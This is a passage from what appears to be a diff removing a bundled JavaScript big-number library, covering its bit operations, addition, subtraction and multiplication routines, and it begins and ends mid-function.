bytesNeeded; i++) { - this.words[i] = ~this.words[i] & 67108863; - } - if (bitsLeft > 0) { - this.words[i] = ~this.words[i] & 67108863 >> 26 - bitsLeft; - } - return this._strip(); - }; - BN32.prototype.notn = function notn(width) { - return this.clone().inotn(width); - }; - BN32.prototype.setn = function setn(bit, val) { - assert22(typeof bit === "number" && bit >= 0); - var off = bit / 26 | 0; - var wbit = bit % 26; - this._expand(off + 1); - if (val) { - this.words[off] = this.words[off] | 1 << wbit; - } else { - this.words[off] = this.words[off] & ~(1 << wbit); - } - return this._strip(); - }; - BN32.prototype.iadd = function iadd(num) { - var r22; - if (this.negative !== 0 && num.negative === 0) { - this.negative = 0; - r22 = this.isub(num); - this.negative ^= 1; - return this._normSign(); - } else if (this.negative === 0 && num.negative !== 0) { - num.negative = 0; - r22 = this.isub(num); - num.negative = 1; - return r22._normSign(); - } - var a, b; - if (this.length > num.length) { - a = this; - b = num; - } else { - a = num; - b = this; - } - var carry = 0; - for (var i = 0; i < b.length; i++) { - r22 = (a.words[i] | 0) + (b.words[i] | 0) + carry; - this.words[i] = r22 & 67108863; - carry = r22 >>> 26; - } - for (; carry !== 0 && i < a.length; i++) { - r22 = (a.words[i] | 0) + carry; - this.words[i] = r22 & 67108863; - carry = r22 >>> 26; - } - this.length = a.length; - if (carry !== 0) { - this.words[this.length] = carry; - this.length++; - } else if (a !== this) { - for (; i < a.length; i++) { - this.words[i] = a.words[i]; - } - } - return this; - }; - BN32.prototype.add = function add32(num) { - var res; - if (num.negative !== 0 && this.negative === 0) { - num.negative = 0; - res = this.sub(num); - num.negative ^= 1; - return res; - } else if (num.negative === 0 && this.negative !== 0) { - this.negative = 0; - res = num.sub(this); - this.negative = 1; - return res; - } - if (this.length > num.length) - return this.clone().iadd(num); - return num.clone().iadd(this); - }; - BN32.prototype.isub = function isub(num) { - if (num.negative !== 0) { - num.negative = 0; - var r22 = this.iadd(num); - num.negative = 1; - return r22._normSign(); - } else if (this.negative !== 0) { - this.negative = 0; - this.iadd(num); - this.negative = 1; - return this._normSign(); - } - var cmp = this.cmp(num); - if (cmp === 0) { - this.negative = 0; - this.length = 1; - this.words[0] = 0; - return this; - } - var a, b; - if (cmp > 0) { - a = this; - b = num; - } else { - a = num; - b = this; - } - var carry = 0; - for (var i = 0; i < b.length; i++) { - r22 = (a.words[i] | 0) - (b.words[i] | 0) + carry; - carry = r22 >> 26; - this.words[i] = r22 & 67108863; - } - for (; carry !== 0 && i < a.length; i++) { - r22 = (a.words[i] | 0) + carry; - carry = r22 >> 26; - this.words[i] = r22 & 67108863; - } - if (carry === 0 && i < a.length && a !== this) { - for (; i < a.length; i++) { - this.words[i] = a.words[i]; - } - } - this.length = Math.max(this.length, i); - if (a !== this) { - this.negative = 1; - } - return this._strip(); - }; - BN32.prototype.sub = function sub(num) { - return this.clone().isub(num); - }; - function smallMulTo(self2, num, out) { - out.negative = num.negative ^ self2.negative; - var len = self2.length + num.length | 0; - out.length = len; - len = len - 1 | 0; - var a = self2.words[0] | 0; - var b = num.words[0] | 0; - var r22 = a * b; - var lo = r22 & 67108863; - var carry = r22 / 67108864 | 0; - out.words[0] = lo; - for (var k = 1; k < len; k++) { - var ncarry = carry >>> 26; - var rword = carry & 67108863; - var maxJ = Math.min(k, num.length - 1); - for (var j = Math.max(0, k - self2.length + 1); j <= maxJ; j++) { - var i = k - j | 0; - a = self2.words[i] | 0; - b = num.words[j] | 0; - r22 = a * b + rword; - ncarry += r22 / 67108864 | 0; - rword = r22 & 67108863; - } - out.words[k] = rword | 0; - carry = ncarry | 0; - } - if (carry !== 0) { - out.words[k] = carry | 0; - } else { - out.length--; - } - return out._strip(); - } - var comb10MulTo = function comb10MulTo2(self2, num, out) { - var a = self2.words; - var b = num.words; - var o = out.words; - var c = 0; - var lo; - var mid; - var hi; - var a0 = a[0] | 0; - var al0 = a0 & 8191; - var ah0 = a0 >>> 13; - var a1 = a[1] | 0; - var al1 = a1 & 8191; - var ah1 = a1 >>> 13; - var a2 = a[2] | 0; - var al2 = a2 & 8191; - var ah2 = a2 >>> 13; - var a3 = a[3] | 0; - var al3 = a3 & 8191; - var ah3 = a3 >>> 13; - var a4 = a[4] | 0; - var al4 = a4 & 8191; - var ah4 = a4 >>> 13; - var a5 = a[5] | 0; - var al5 = a5 & 8191; - var ah5 = a5 >>> 13; - var a6 = a[6] | 0; - var al6 = a6 & 8191; - var ah6 = a6 >>> 13; - var a7 = a[7] | 0; - var al7 = a7 & 8191; - var ah7 = a7 >>> 13; - var a8 = a[8] | 0; - var al8 = a8 & 8191; - var ah8 = a8 >>> 13; - var a9 = a[9] | 0; - var al9 = a9 & 8191; - var ah9 = a9 >>> 13; - var b0 = b[0] | 0; - var bl0 = b0 & 8191; - var bh0 = b0 >>> 13; - var b1 = b[1] | 0; - var bl1 = b1 & 8191; - var bh1 = b1 >>> 13; - var b2 = b[2] | 0; - var bl2 = b2 & 8191; - var bh2 = b2 >>> 13; - var b3 = b[3] | 0; - var bl3 = b3 & 8191; - var bh3 = b3 >>> 13; - var b4 = b[4] | 0; - var bl4 = b4 & 8191; - var bh4 = b4 >>> 13; - var b5 = b[5] | 0; - var bl5 = b5 & 8191; - var bh5 = b5 >>> 13; - var b6 = b[6] | 0; - var bl6 = b6 & 8191; - var bh6 = b6 >>> 13; - var b7 = b[7] | 0; - var bl7 = b7 & 8191; - var bh7 = b7 >>> 13; - var b8 = b[8] | 0; - var bl8 = b8 & 8191; - var bh8 = b8 >>> 13; - var b9 = b[9] | 0; - var bl9 = b9 & 8191; - var bh9 = b9 >>> 13; - out.negative = self2.negative ^ num.negative; - out.length = 19; - lo = Math.imul(al0, bl0); - mid = Math.imul(al0, bh0); - mid = mid + Math.imul(ah0, bl0) | 0; - hi = Math.imul(ah0, bh0); - var w0 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w0 >>> 26) | 0; - w0 &= 67108863; - lo = Math.imul(al1, bl0); - mid = Math.imul(al1, bh0); - mid = mid + Math.imul(ah1, bl0) | 0; - hi = Math.imul(ah1, bh0); - lo = lo + Math.imul(al0, bl1) | 0; - mid = mid + Math.imul(al0, bh1) | 0; - mid = mid + Math.imul(ah0, bl1) | 0; - hi = hi + Math.imul(ah0, bh1) | 0; - var w1 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w1 >>> 26) | 0; - w1 &= 67108863; - lo = Math.imul(al2, bl0); - mid = Math.imul(al2, bh0); - mid = mid + Math.imul(ah2, bl0) | 0; - hi = Math.imul(ah2, bh0); - lo = lo + Math.imul(al1, bl1) | 0; - mid = mid + Math.imul(al1, bh1) | 0; - mid = mid + Math.imul(ah1, bl1) | 0; - hi = hi + Math.imul(ah1, bh1) | 0; - lo = lo + Math.imul(al0, bl2) | 0; - mid = mid + Math.imul(al0, bh2) | 0; - mid = mid + Math.imul(ah0, bl2) | 0; - hi = hi + Math.imul(ah0, bh2) | 0; - var w2 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w2 >>> 26) | 0; - w2 &= 67108863; - lo = Math.imul(al3, bl0); - mid = Math.imul(al3, bh0); - mid = mid + Math.imul(ah3, bl0) | 0; - hi = Math.imul(ah3, bh0); - lo = lo + Math.imul(al2, bl1) | 0; - mid = mid + Math.imul(al2, bh1) | 0; - mid = mid + Math.imul(ah2, bl1) | 0; - hi = hi + Math.imul(ah2, bh1) | 0; - lo = lo + Math.imul(al1, bl2) | 0; - mid = mid + Math.imul(al1, bh2) | 0; - mid = mid + Math.imul(ah1, bl2) | 0; - hi = hi + Math.imul(ah1, bh2) | 0; - lo = lo + Math.imul(al0, bl3) | 0; - mid = mid + Math.imul(al0, bh3) | 0; - mid = mid + Math.imul(ah0, bl3) | 0; - hi = hi + Math.imul(ah0, bh3) | 0; - var w3 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w3 >>> 26) | 0; - w3 &= 67108863; - lo = Math.imul(al4, bl0); - mid = Math.imul(al4, bh0); - mid = mid + Math.imul(ah4, bl0) | 0; - hi = Math.imul(ah4, bh0); - lo = lo + Math.imul(al3, bl1) | 0; - mid = mid + Math.imul(al3, bh1) | 0; - mid = mid + Math.imul(ah3, bl1) | 0; - hi = hi + Math.imul(ah3, bh1) | 0; - lo = lo + Math.imul(al2, bl2) | 0; - mid = mid + Math.imul(al2, bh2) | 0; - mid = mid + Math.imul(ah2, bl2) | 0; - hi = hi + Math.imul(ah2, bh2) | 0; - lo = lo + Math.imul(al1, bl3) | 0; - mid = mid + Math.imul(al1, bh3) | 0; - mid = mid + Math.imul(ah1, bl3) | 0; - hi = hi + Math.imul(ah1, bh3) | 0; - lo = lo + Math.imul(al0, bl4) | 0; - mid = mid + Math.imul(al0, bh4) | 0; - mid = mid + Math.imul(ah0, bl4) | 0; - hi = hi + Math.imul(ah0, bh4) | 0; - var w4 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w4 >>> 26) | 0; - w4 &= 67108863; - lo = Math.imul(al5, bl0); - mid = Math.imul(al5, bh0); - mid = mid + Math.imul(ah5, bl0) | 0; - hi = Math.imul(ah5, bh0); - lo = lo + Math.imul(al4, bl1) | 0; - mid = mid + Math.imul(al4, bh1) | 0; - mid = mid + Math.imul(ah4, bl1) | 0; - hi = hi + Math.imul(ah4, bh1) | 0; - lo = lo + Math.imul(al3, bl2) | 0; - mid = mid + Math.imul(al3, bh2) | 0; - mid = mid + Math.imul(ah3, bl2) | 0; - hi = hi + Math.imul(ah3, bh2) | 0; - lo = lo + Math.imul(al2, bl3) | 0; - mid = mid + Math.imul(al2, bh3) | 0; - mid = mid + Math.imul(ah2, bl3) | 0; - hi = hi + Math.imul(ah2, bh3) | 0; - lo = lo + Math.imul(al1, bl4) | 0; - mid = mid + Math.imul(al1, bh4) | 0; - mid = mid + Math.imul(ah1, bl4) | 0; - hi = hi + Math.imul(ah1, bh4) | 0; - lo = lo + Math.imul(al0, bl5) | 0; - mid = mid + Math.imul(al0, bh5) | 0; - mid = mid + Math.imul(ah0, bl5) | 0; - hi = hi + Math.imul(ah0, bh5) | 0; - var w5 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w5 >>> 26) | 0; - w5 &= 67108863; - lo = Math.imul(al6, bl0); - mid = Math.imul(al6, bh0); - mid = mid + Math.imul(ah6, bl0) | 0; - hi = Math.imul(ah6, bh0); - lo = lo + Math.imul(al5, bl1) | 0; - mid = mid + Math.imul(al5, bh1) | 0; - mid = mid + Math.imul(ah5, bl1) | 0; - hi = hi + Math.imul(ah5, bh1) | 0; - lo = lo + Math.imul(al4, bl2) | 0; - mid = mid + Math.imul(al4, bh2) | 0; - mid = mid + Math.imul(ah4, bl2) | 0; - hi = hi + Math.imul(ah4, bh2) | 0; - lo = lo + Math.imul(al3, bl3) | 0; - mid = mid + Math.imul(al3, bh3) | 0; - mid = mid + Math.imul(ah3, bl3) | 0; - hi = hi + Math.imul(ah3, bh3) | 0; - lo = lo + Math.imul(al2, bl4) | 0; - mid = mid + Math.imul(al2, bh4) | 0; - mid = mid + Math.imul(ah2, bl4) | 0; - hi = hi + Math.imul(ah2, bh4) | 0; - lo = lo + Math.imul(al1, bl5) | 0; - mid = mid + Math.imul(al1, bh5) | 0; - mid = mid + Math.imul(ah1, bl5) | 0; - hi = hi + Math.imul(ah1, bh5) | 0; - lo = lo + Math.imul(al0, bl6) | 0; - mid = mid + Math.imul(al0, bh6) | 0; - mid = mid + Math.imul(ah0, bl6) | 0; - hi = hi + Math.imul(ah0, bh6) | 0; - var w6 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w6 >>> 26) | 0; - w6 &= 67108863; - lo = Math.imul(al7, bl0); - mid = Math.imul(al7, bh0); - mid = mid + Math.imul(ah7, bl0) | 0; - hi = Math.imul(ah7, bh0); - lo = lo + Math.imul(al6, bl1) | 0; - mid = mid + Math.imul(al6, bh1) | 0; - mid = mid + Math.imul(ah6, bl1) | 0; - hi = hi + Math.imul(ah6, bh1) | 0; - lo = lo + Math.imul(al5, bl2) | 0; - mid = mid + Math.imul(al5, bh2) | 0; - mid = mid + Math.imul(ah5, bl2) | 0; - hi = hi + Math.imul(ah5, bh2) | 0; - lo = lo + Math.imul(al4, bl3) | 0; - mid = mid + Math.imul(al4, bh3) | 0; - mid = mid + Math.imul(ah4, bl3) | 0; - hi = hi + Math.imul(ah4, bh3) | 0; - lo = lo + Math.imul(al3, bl4) | 0; - mid = mid + Math.imul(al3, bh4) | 0; - mid = mid + Math.imul(ah3, bl4) | 0; - hi = hi + Math.imul(ah3, bh4) | 0; - lo = lo + Math.imul(al2, bl5) | 0; - mid = mid + Math.imul(al2, bh5) | 0; - mid = mid + Math.imul(ah2, bl5) | 0; - hi = hi + Math.imul(ah2, bh5) | 0; - lo = lo + Math.imul(al1, bl6) | 0; - mid = mid + Math.imul(al1, bh6) | 0; - mid = mid + Math.imul(ah1, bl6) | 0; - hi = hi + Math.imul(ah1, bh6) | 0; - lo = lo + Math.imul(al0, bl7) | 0; - mid = mid + Math.imul(al0, bh7) | 0; - mid = mid + Math.imul(ah0, bl7) | 0; - hi = hi + Math.imul(ah0, bh7) | 0; - var w7 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w7 >>> 26) | 0; - w7 &= 67108863; - lo = Math.imul(al8, bl0); - mid = Math.imul(al8, bh0); - mid = mid + Math.imul(ah8, bl0) | 0; - hi = Math.imul(ah8, bh0); - lo = lo + Math.imul(al7, bl1) | 0; - mid = mid + Math.imul(al7, bh1) | 0; - mid = mid + Math.imul(ah7, bl1) | 0; - hi = hi + Math.imul(ah7, bh1) | 0; - lo = lo + Math.imul(al6, bl2) | 0; - mid = mid + Math.imul(al6, bh2) | 0; - mid = mid + Math.imul(ah6, bl2) | 0; - hi = hi + Math.imul(ah6, bh2) | 0; - lo = lo + Math.imul(al5, bl3) | 0; - mid = mid + Math.imul(al5, bh3) | 0; - mid = mid + Math.imul(ah5, bl3) | 0; - hi = hi + Math.imul(ah5, bh3) | 0; - lo = lo + Math.imul(al4, bl4) | 0; - mid = mid + Math.imul(al4, bh4) | 0; - mid = mid + Math.imul(ah4, bl4) | 0; - hi = hi + Math.imul(ah4, bh4) | 0; - lo = lo + Math.imul(al3, bl5) | 0; - mid = mid + Math.imul(al3, bh5) | 0; - mid = mid + Math.imul(ah3, bl5) | 0; - hi = hi + Math.imul(ah3, bh5) | 0; - lo = lo + Math.imul(al2, bl6) | 0; - mid = mid + Math.imul(al2, bh6) | 0; - mid = mid + Math.imul(ah2, bl6) | 0; - hi = hi + Math.imul(ah2, bh6) | 0; - lo = lo + Math.imul(al1, bl7) | 0; - mid = mid + Math.imul(al1, bh7) | 0; - mid = mid + Math.imul(ah1, bl7) | 0; - hi = hi + Math.imul(ah1, bh7) | 0; - lo = lo + Math.imul(al0, bl8) | 0; - mid = mid + Math.imul(al0, bh8) | 0; - mid = mid + Math.imul(ah0, bl8) | 0; - hi = hi + Math.imul(ah0, bh8) | 0; - var w8 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w8 >>> 26) | 0; - w8 &= 67108863; - lo = Math.imul(al9, bl0); - mid = Math.imul(al9, bh0); - mid = mid + Math.imul(ah9, bl0) | 0; - hi = Math.imul(ah9, bh0); - lo = lo + Math.imul(al8, bl1) | 0; - mid = mid + Math.imul(al8, bh1) | 0; - mid = mid + Math.imul(ah8, bl1) | 0; - hi = hi + Math.imul(ah8, bh1) | 0; - lo = lo + Math.imul(al7, bl2) | 0; - mid = mid + Math.imul(al7, bh2) | 0; - mid = mid + Math.imul(ah7, bl2) | 0; - hi = hi + Math.imul(ah7, bh2) | 0; - lo = lo + Math.imul(al6, bl3) | 0; - mid = mid + Math.imul(al6, bh3) | 0; - mid = mid + Math.imul(ah6, bl3) | 0; - hi = hi + Math.imul(ah6, bh3) | 0; - lo = lo + Math.imul(al5, bl4) | 0; - mid = mid + Math.imul(al5, bh4) | 0; - mid = mid + Math.imul(ah5, bl4) | 0; - hi = hi + Math.imul(ah5, bh4) | 0; - lo = lo + Math.imul(al4, bl5) | 0; - mid = mid + Math.imul(al4, bh5) | 0; - mid = mid + Math.imul(ah4, bl5) | 0; - hi = hi + Math.imul(ah4, bh5) | 0; - lo = lo + Math.imul(al3, bl6) | 0; - mid = mid + Math.imul(al3, bh6) | 0; - mid = mid + Math.imul(ah3, bl6) | 0; - hi = hi + Math.imul(ah3, bh6) | 0; - lo = lo + Math.imul(al2, bl7) | 0; - mid = mid + Math.imul(al2, bh7) | 0; - mid = mid + Math.imul(ah2, bl7) | 0; - hi = hi + Math.imul(ah2, bh7) | 0; - lo = lo + Math.imul(al1, bl8) | 0; - mid = mid + Math.imul(al1, bh8) | 0; - mid = mid + Math.imul(ah1, bl8) | 0; - hi = hi + Math.imul(ah1, bh8) | 0; - lo = lo + Math.imul(al0, bl9) | 0; - mid = mid + Math.imul(al0, bh9) | 0; - mid = mid + Math.imul(ah0, bl9) | 0; - hi = hi + Math.imul(ah0, bh9) | 0; - var w9 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w9 >>> 26) | 0; - w9 &= 67108863; - lo = Math.imul(al9, bl1); - mid = Math.imul(al9, bh1); - mid = mid + Math.imul(ah9, bl1) | 0; - hi = Math.imul(ah9, bh1); - lo = lo + Math.imul(al8, bl2) | 0; - mid = mid + Math.imul(al8, bh2) | 0; - mid = mid + Math.imul(ah8, bl2) | 0; - hi = hi + Math.imul(ah8, bh2) | 0; - lo = lo + Math.imul(al7, bl3) | 0; - mid = mid + Math.imul(al7, bh3) | 0; - mid = mid + Math.imul(ah7, bl3) | 0; - hi = hi + Math.imul(ah7, bh3) | 0; - lo = lo + Math.imul(al6, bl4) | 0; - mid = mid + Math.imul(al6, bh4) | 0; - mid = mid + Math.imul(ah6, bl4) | 0; - hi = hi + Math.imul(ah6, bh4) | 0; - lo = lo + Math.imul(al5, bl5) | 0; - mid = mid + Math.imul(al5, bh5) | 0; - mid = mid + Math.imul(ah5, bl5) | 0; - hi = hi + Math.imul(ah5, bh5) | 0; - lo = lo + Math.imul(al4, bl6) | 0; - mid = mid + Math.imul(al4, bh6) | 0; - mid = mid + Math.imul(ah4, bl6) | 0; - hi = hi + Math.imul(ah4, bh6) | 0; - lo = lo + Math.imul(al3, bl7) | 0; - mid = mid + Math.imul(al3, bh7) | 0; - mid = mid + Math.imul(ah3, bl7) | 0; - hi = hi + Math.imul(ah3, bh7) | 0; - lo = lo + Math.imul(al2, bl8) | 0; - mid = mid + Math.imul(al2, bh8) | 0; - mid = mid + Math.imul(ah2, bl8) | 0; - hi = hi + Math.imul(ah2, bh8) | 0; - lo = lo + Math.imul(al1, bl9) | 0; - mid = mid + Math.imul(al1, bh9) | 0; - mid = mid + Math.imul(ah1, bl9) | 0; - hi = hi + Math.imul(ah1, bh9) | 0; - var w10 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w10 >>> 26) | 0; - w10 &= 67108863; - lo = Math.imul(al9, bl2); - mid = Math.imul(al9, bh2); - mid = mid + Math.imul(ah9, bl2) | 0; - hi = Math.imul(ah9, bh2); - lo = lo + Math.imul(al8, bl3) | 0; - mid = mid + Math.imul(al8, bh3) | 0; - mid = mid + Math.imul(ah8, bl3) | 0; - hi = hi + Math.imul(ah8, bh3) | 0; - lo = lo + Math.imul(al7, bl4) | 0; - mid = mid + Math.imul(al7, bh4) | 0; - mid = mid + Math.imul(ah7, bl4) | 0; - hi = hi + Math.imul(ah7, bh4) | 0; - lo = lo + Math.imul(al6, bl5) | 0; - mid = mid + Math.imul(al6, bh5) | 0; - mid = mid + Math.imul(ah6, bl5) | 0; - hi = hi + Math.imul(ah6, bh5) | 0; - lo = lo + Math.imul(al5, bl6) | 0; - mid = mid + Math.imul(al5, bh6) | 0; - mid = mid + Math.imul(ah5, bl6) | 0; - hi = hi + Math.imul(ah5, bh6) | 0; - lo = lo + Math.imul(al4, bl7) | 0; - mid = mid + Math.imul(al4, bh7) | 0; - mid = mid + Math.imul(ah4, bl7) | 0; - hi = hi + Math.imul(ah4, bh7) | 0; - lo = lo + Math.imul(al3, bl8) | 0; - mid = mid + Math.imul(al3, bh8) | 0; - mid = mid + Math.imul(ah3, bl8) | 0; - hi = hi + Math.imul(ah3, bh8) | 0; - lo = lo + Math.imul(al2, bl9) | 0; - mid = mid + Math.imul(al2, bh9) | 0; - mid = mid + Math.imul(ah2, bl9) | 0; - hi = hi + Math.imul(ah2, bh9) | 0; - var w11 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w11 >>> 26) | 0; - w11 &= 67108863; - lo = Math.imul(al9, bl3); - mid = Math.imul(al9, bh3); - mid = mid + Math.imul(ah9, bl3) | 0; - hi = Math.imul(ah9, bh3); - lo = lo + Math.imul(al8, bl4) | 0; - mid = mid + Math.imul(al8, bh4) | 0; - mid = mid + Math.imul(ah8, bl4) | 0; - hi = hi + Math.imul(ah8, bh4) | 0; - lo = lo + Math.imul(al7, bl5) | 0; - mid = mid + Math.imul(al7, bh5) | 0; - mid = mid + Math.imul(ah7, bl5) | 0; - hi = hi + Math.imul(ah7, bh5) | 0; - lo = lo + Math.imul(al6, bl6) | 0; - mid = mid + Math.imul(al6, bh6) | 0; - mid = mid + Math.imul(ah6, bl6) | 0; - hi = hi + Math.imul(ah6, bh6) | 0; - lo = lo + Math.imul(al5, bl7) | 0; - mid = mid + Math.imul(al5, bh7) | 0; - mid = mid + Math.imul(ah5, bl7) | 0; - hi = hi + Math.imul(ah5, bh7) | 0; - lo = lo + Math.imul(al4, bl8) | 0; - mid = mid + Math.imul(al4, bh8) | 0; - mid = mid + Math.imul(ah4, bl8) | 0; - hi = hi + Math.imul(ah4, bh8) | 0; - lo = lo + Math.imul(al3, bl9) | 0; - mid = mid + Math.imul(al3, bh9) | 0; - mid = mid + Math.imul(ah3, bl9) | 0; - hi = hi + Math.imul(ah3, bh9) | 0; - var w12 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w12 >>> 26) | 0; - w12 &= 67108863; - lo = Math.imul(al9, bl4); - mid = Math.imul(al9, bh4); - mid = mid + Math.imul(ah9, bl4) | 0; - hi = Math.imul(ah9, bh4); - lo = lo + Math.imul(al8, bl5) | 0; - mid = mid + Math.imul(al8, bh5) | 0; - mid = mid + Math.imul(ah8, bl5) | 0; - hi = hi + Math.imul(ah8, bh5) | 0; - lo = lo + Math.imul(al7, bl6) | 0; - mid = mid + Math.imul(al7, bh6) | 0; - mid = mid + Math.imul(ah7, bl6) | 0; - hi = hi + Math.imul(ah7, bh6) | 0; - lo = lo + Math.imul(al6, bl7) | 0; - mid = mid + Math.imul(al6, bh7) | 0; - mid = mid + Math.imul(ah6, bl7) | 0; - hi = hi + Math.imul(ah6, bh7) | 0; - lo = lo + Math.imul(al5, bl8) | 0; - mid = mid + Math.imul(al5, bh8) | 0; - mid = mid + Math.imul(ah5, bl8) | 0; - hi = hi + Math.imul(ah5, bh8) | 0; - lo = lo + Math.imul(al4, bl9) | 0; - mid = mid + Math.imul(al4, bh9) | 0; - mid = mid + Math.imul(ah4, bl9) | 0; - hi = hi + Math.imul(ah4, bh9) | 0; - var w13 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w13 >>> 26) | 0; - w13 &= 67108863; - lo = Math.imul(al9, bl5); - mid = Math.imul(al9, bh5); - mid = mid + Math.imul(ah9, bl5) | 0; - hi = Math.imul(ah9, bh5); - lo = lo + Math.imul(al8, bl6) | 0; - mid = mid + Math.imul(al8, bh6) | 0; - mid = mid + Math.imul(ah8, bl6) | 0; - hi = hi + Math.imul(ah8, bh6) | 0; - lo = lo + Math.imul(al7, bl7) | 0; - mid = mid + Math.imul(al7, bh7) | 0; - mid = mid + Math.imul(ah7, bl7) | 0; - hi = hi + Math.imul(ah7, bh7) | 0; - lo = lo + Math.imul(al6, bl8) | 0; - mid = mid + Math.imul(al6, bh8) | 0; - mid = mid + Math.imul(ah6, bl8) | 0; - hi = hi + Math.imul(ah6, bh8) | 0; - lo = lo + Math.imul(al5, bl9) | 0; - mid = mid + Math.imul(al5, bh9) | 0; - mid = mid + Math.imul(ah5, bl9) | 0; - hi = hi + Math.imul(ah5, bh9) | 0; - var w14 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w14 >>> 26) | 0; - w14 &= 67108863; - lo = Math.imul(al9, bl6); - mid = Math.imul(al9, bh6); - mid = mid + Math.imul(ah9, bl6) | 0; - hi = Math.imul(ah9, bh6); - lo = lo + Math.imul(al8, bl7) | 0; - mid = mid + Math.imul(al8, bh7) | 0; - mid = mid + Math.imul(ah8, bl7) | 0; - hi = hi + Math.imul(ah8, bh7) | 0; - lo = lo + Math.imul(al7, bl8) | 0; - mid = mid + Math.imul(al7, bh8) | 0; - mid = mid + Math.imul(ah7, bl8) | 0; - hi = hi + Math.imul(ah7, bh8) | 0; - lo = lo + Math.imul(al6, bl9) | 0; - mid = mid + Math.imul(al6, bh9) | 0; - mid = mid + Math.imul(ah6, bl9) | 0; - hi = hi + Math.imul(ah6, bh9) | 0; - var w15 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w15 >>> 26) | 0; - w15 &= 67108863; - lo = Math.imul(al9, bl7); - mid = Math.imul(al9, bh7); - mid = mid + Math.imul(ah9, bl7) | 0; - hi = Math.imul(ah9, bh7); - lo = lo + Math.imul(al8, bl8) | 0; - mid = mid + Math.imul(al8, bh8) | 0; - mid = mid + Math.imul(ah8, bl8) | 0; - hi = hi + Math.imul(ah8, bh8) | 0; - lo = lo + Math.imul(al7, bl9) | 0; - mid = mid + Math.imul(al7, bh9) | 0; - mid = mid + Math.imul(ah7, bl9) | 0; - hi = hi + Math.imul(ah7, bh9) | 0; - var w16 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w16 >>> 26) | 0; - w16 &= 67108863; - lo = Math.imul(al9, bl8); - mid = Math.imul(al9, bh8); - mid = mid + Math.imul(ah9, bl8) | 0; - hi = Math.imul(ah9, bh8); - lo = lo + Math.imul(al8, bl9) | 0; - mid = mid + Math.imul(al8, bh9) | 0; - mid = mid + Math.imul(ah8, bl9) | 0; - hi = hi + Math.imul(ah8, bh9) | 0; - var w17 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w17 >>> 26) | 0; - w17 &= 67108863; - lo = Math.imul(al9, bl9); - mid = Math.imul(al9, bh9); - mid = mid + Math.imul(ah9, bl9) | 0; - hi = Math.imul(ah9, bh9); - var w18 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w18 >>> 26) | 0; - w18 &= 67108863; - o[0] = w0; - o[1] = w1; - o[2] = w2; - o[3] = w3; - o[4] = w4; - o[5] = w5; - o[6] = w6; - o[7] = w7; - o[8] = w8; - o[9] = w9; - o[10] = w10; - o[11] = w11; - o[12] = w12; - o[13] = w13; - o[14] = w14; - o[15] = w15; - o[16] = w16; - o[17] = w17; - o[18] = w18; - if (c !== 0) { - o[19] = c; - out.length++; - } - return out; - }; - if (!Math.imul) { - comb10MulTo = smallMulTo; - } - function bigMulTo(self2, num, out) { - out.negative = num.negative ^ self2.negative; - out.length = self2.length + num.length; - var carry = 0; - var hncarry = 0; - for (var k = 0; k < out.length - 1; k++) { - var ncarry = hncarry; - hncarry = 0; - var rword = carry & 67108863; - var maxJ = Math.min(k, num.length - 1); - for (var j = Math.max(0, k - self2.length + 1); j <= maxJ; j++) { - var i = k - j; - var a = self2.words[i] | 0; - var b = num.words[j] | 0; - var r22 = a * b; - var lo = r22 & 67108863; - ncarry = ncarry + (r22 / 67108864 | 0) | 0; - lo = lo + rword | 0; - rword = lo & 67108863; - ncarry = ncarry + (lo >>> 26) | 0; - hncarry += ncarry >>> 26; - ncarry &= 67108863; - } - out.words[k] = rword; - carry = ncarry; - ncarry = hncarry; - } - if (carry !== 0) { - out.words[k] = carry; - } else { - out.length--; - } - return out._strip(); - } - function jumboMulTo(self2, num, out) { - return bigMulTo(self2, num, out); - } - BN32.prototype.mulTo = function mulTo(num, out) { - var res; - var len = this.length + num.length; - if (this.length === 10 && num.length === 10) { - res = comb10MulTo(this, num, out); - } else if (len < 63) { - res = smallMulTo(this, num, out); - } else if (len < 1024) { - res = bigMulTo(this, num, out); - } else { - res = jumboMulTo(this, num, out); - } - return res; - }; - function FFTM(x, y) { - this.x = x; - this.y = y; - } - FFTM.prototype.makeRBT = function makeRBT(N2) { - var t = new Array(N2); - var l = BN32.prototype._countBits(N2) - 1; - for (var i = 0; i < N2; i++) { - t[i] = this.revBin(i, l, N2); - } - return t; - }; - FFTM.prototype.revBin = function revBin(x, l, N2) { - if (x === 0 || x === N2 - 1) - return x; - var rb = 0; - for (var i = 0; i < l; i++) { - rb |= (x & 1) << l - i - 1; - x >>= 1; - } - return rb; - }; - FFTM.prototype.permute = function permute(rbt, rws, iws, rtws, itws, N2) { - for (var i = 0; i < N2; i++) { - rtws[i] = rws[rbt[i]]; - itws[i] = iws[rbt[i]]; - } - }; - FFTM.prototype.transform = function transform(rws, iws, rtws, itws, N2, rbt) { - this.permute(rbt, 